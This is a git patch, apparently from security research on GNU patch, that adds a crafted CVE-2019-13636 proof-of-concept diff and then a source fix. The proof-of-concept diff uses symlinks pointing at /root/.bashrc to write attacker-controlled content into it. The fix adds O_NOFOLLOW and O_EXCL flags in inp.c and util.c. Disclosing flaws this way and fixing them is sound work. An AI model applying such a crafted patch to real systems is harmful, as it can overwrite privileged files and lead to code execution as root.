From 7399c9e7a86a4a534d240f98cb3d0dfae6457852 Mon Sep 17 00:00:00 2001
From: irsl <irsl@users.noreply.github.com>
Date: Fri, 16 Aug 2019 08:32:07 +0200
Subject: [PATCH] Add files via upload

---
 CVE-2019-13636.patch | 41 +++++++++++++++++++++++++++++++++++++++++
 1 file changed, 41 insertions(+)
 create mode 100644 CVE-2019-13636.patch

diff --git a/CVE-2019-13636.patch b/CVE-2019-13636.patch
new file mode 100644
index 0000000..b7c9bb5
--- /dev/null
+++ b/CVE-2019-13636.patch
@@ -0,0 +1,41 @@
+diff --git a/2/home b/2/home
+new file mode 120000
+index 0000000..02cc49f
+--- /dev/null
++++ b/2/home
+@@ -0,0 +1 @@
++/whatever
+\ No newline at end of file
+diff --git a/2/home.rej b/2/home.rej
+new file mode 120000
+index 0000000..02cc49f
+--- /dev/null
++++ b/2/home.rej
+@@ -0,0 +1 @@
++/root/.bashrc
+\ No newline at end of file
+diff --git a/2/home b/2/home
+new file mode 100644
+index 0000000..5a426f8
+--- /dev/null
++++ b/2/home
+@@ -0,0 +1,3 @@
++ partially
++ controlled
++ content
+diff --git a/2/home b/2/home
+deleted file mode 120000
+index 91bcd6a..0000000
+--- a/2/home
++++ /dev/null
+@@ -1 +0,0 @@
+-/whatever
+\ No newline at end of file
+diff --git a/2/home.rej b/2/home.rej
+deleted file mode 120000
+index 91bcd6a..0000000
+--- a/2/home.rej
++++ /dev/null
+@@ -1 +0,0 @@
+-/root/.bashrc
+\ No newline at end of file
-- 
2.41.0

--- ./src/inp.c.orig	2024-02-26 09:59:01.485937562 +0000
+++ ./src/inp.c	2024-02-26 10:02:17.792488827 +0000
@@ -238,8 +238,13 @@
     {
       if (S_ISREG (instat.st_mode))
         {
-	  int ifd = safe_open (filename, O_RDONLY|binary_transput, 0);
+	  int flags = O_RDONLY | binary_transput;
 	  size_t buffered = 0, n;
+	  int ifd;
+
+	  if (! follow_symlinks)
+	    flags |= O_NOFOLLOW;
+	  ifd = safe_open (filename, flags, 0);
 	  if (ifd < 0)
 	    pfatal ("can't open file %s", quotearg (filename));
 
@@ -340,6 +345,7 @@
 static void
 plan_b (char const *filename)
 {
+  int flags = O_RDONLY | binary_transput;
   int ifd;
   FILE *ifp;
   int c;
@@ -353,7 +359,9 @@
 
   if (instat.st_size == 0)
     filename = NULL_DEVICE;
-  if ((ifd = safe_open (filename, O_RDONLY | binary_transput, 0)) < 0
+  if (! follow_symlinks)
+    flags |= O_NOFOLLOW;
+  if ((ifd = safe_open (filename, flags, 0)) < 0
       || ! (ifp = fdopen (ifd, binary_transput ? "rb" : "r")))
     pfatal ("Can't open file %s", quotearg (filename));
   if (TMPINNAME_needs_removal)
--- ./src/util.c.orig	2024-02-26 10:08:21.735909581 +0000
+++ ./src/util.c	2024-02-26 10:14:15.379736238 +0000
@@ -388,7 +388,7 @@
 
 	  try_makedirs_errno = ENOENT;
 	  safe_unlink (bakname);
-	  while ((fd = safe_open (bakname, O_CREAT | O_WRONLY | O_TRUNC, 0666)) < 0)
+	  while ((fd = safe_open (bakname, O_CREAT | O_EXCL | O_WRONLY | O_TRUNC, 0666)) < 0)
 	    {
 	      if (errno != try_makedirs_errno)
 		pfatal ("Can't create file %s", quotearg (bakname));
@@ -579,10 +579,13 @@
 static void
 copy_to_fd (const char *from, int tofd)
 {
+  int from_flags = O_RDONLY | O_BINARY;
   int fromfd;
   ssize_t i;
 
-  if ((fromfd = safe_open (from, O_RDONLY | O_BINARY, 0)) < 0)
+  if (! follow_symlinks)
+    from_flags |= O_NOFOLLOW;
+  if ((fromfd = safe_open (from, from_flags, 0)) < 0)
     pfatal ("Can't reopen file %s", quotearg (from));
   while ((i = read (fromfd, buf, bufsize)) != 0)
     {
@@ -625,6 +628,8 @@
   else
     {
       assert (S_ISREG (mode));
+      if (! follow_symlinks)
+	to_flags |= O_NOFOLLOW;
       tofd = create_file (to, O_WRONLY | O_BINARY | to_flags, mode,
 			  to_dir_known_to_exist);
       copy_to_fd (from, tofd);
@@ -640,9 +645,12 @@
 void
 append_to_file (char const *from, char const *to)
 {
+  int to_flags = O_WRONLY | O_APPEND | O_BINARY;
   int tofd;
 
-  if ((tofd = safe_open (to, O_WRONLY | O_BINARY | O_APPEND, 0)) < 0)
+  if (! follow_symlinks)
+    to_flags |= O_NOFOLLOW;
+  if ((tofd = safe_open (to, to_flags, 0)) < 0)
     pfatal ("Can't reopen file %s", quotearg (to));
   copy_to_fd (from, tofd);
   if (close (tofd) != 0)
